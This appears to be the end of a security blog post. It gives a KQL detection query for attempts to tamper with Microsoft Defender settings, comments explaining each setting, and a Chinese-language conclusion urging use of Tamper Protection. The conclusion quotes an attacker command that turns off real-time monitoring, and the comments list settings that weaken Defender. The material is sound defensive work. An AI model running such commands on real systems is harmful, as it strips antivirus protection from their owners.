| where ( TargetProperty startswith "Disable" and TamperingAttemptedValue == 1 ) or ( TargetProperty == "SpynetReporting" and TamperingAttemptedValue == 0 ) or ( ( Target contains "ThreatSeverityDefaultAction" ) and ( InitiatingProcessCommandLine !in ("svchost.exe -k GPSvcGroup","svchost.exe -k netsvcs -p -s gpsvc") and InitiatingProcessFolderPath != @"C:\Windows\System32" ) and ( InitiatingProcessCommandLine != "CcmExec.exe" and InitiatingProcessFolderPath == @"C:\Windows\CCM" ))
| extend TargetProperty = iff( ( TargetProperty matches regex @"\d" ), strcat("ThreatSeverityDefaultAction-",TargetProperty), TargetProperty)
| project Timestamp, DeviceName, TamperingAction, Status, TargetProperty, OriginalValue, TamperingAttemptedValue,InitiatingProcessCommandLine,InitiatingProcessAccountName,InitiatingProcessAccountSid,ReportId,DeviceId
| sort by Timestamp
// @ = https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/scalar-data-types/string#verbatim-string-literals
// replace_regex = https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/replace-regex-function
//
// DisableIntrusionPreventionSystem = Turn on network protection against exploits of known vulnerabilities
// DisableOnAccessProtection = Monitor file and program activity on your computer to be scanned
// DisableScriptScanning = Turn on script scanning
// DisablePrivacyMode = Privacy mode prevents users, other than administrators, from displaying threat history.
// DisableRealtimeMonitoring = Turn off real-time protection
// DisableIOAVProtection = Scan all downloaded files and attachments
// DisableBehaviorMonitoring = Turn on behavior monitoring
// DisableAntiSpyware = Turn off Windows Defender
// DisableRoutinelyTakingAction = Turn off Routinely Taking Action
// DisableScanOnRealtimeEnable = Turn on process scanning whenever real-time protection is enabled
// DisableBlockAtFirstSeen = Configure the 'Block at First Sight' feature
//
// SpynetReporting
// 0 = Disable MAPS (No Membership)
// 1 = Enable MAPS (Basic)
// 2 = Enable MAPS (Advanced)
篡改保护是一个非常强大的功能,您应该毫不犹豫地启用它。它可以保护您免受许多依赖于在继续之前禁用 Microsoft Defender 防病毒软件的攻击。今天的许多威胁参与者都依赖于他们的工具中的某些东西Set-MpPreference -DisableRealtimeMonitoring $true
,并且会在攻击的初始阶段被阻止。
为了完全实施安全的 AV 配置,Microsoft 必须保护包括排除项在内的所有重要设置。这只有在它们为客户端和服务器等提供中央配置选项时才有可能。他们已经在为此努力,公开预览版绝对值得一试。
与每个安全功能一样,在实施之前和之后测试限制和功能很重要。正如您在本博客中所读到的,有一些配置更改不受篡改保护的保护,因此您应该在任何地方实施额外的缓解技术可能的。一个好的安全基线很有价值。
此测试还显示了了解您的 EDR 解决方案的重要性。Microsoft Defender for Endpoint 允许您轻松创建基于高级搜索查询的自定义检测规则。所以在大多数情况下,实现自定义警报真的很容易。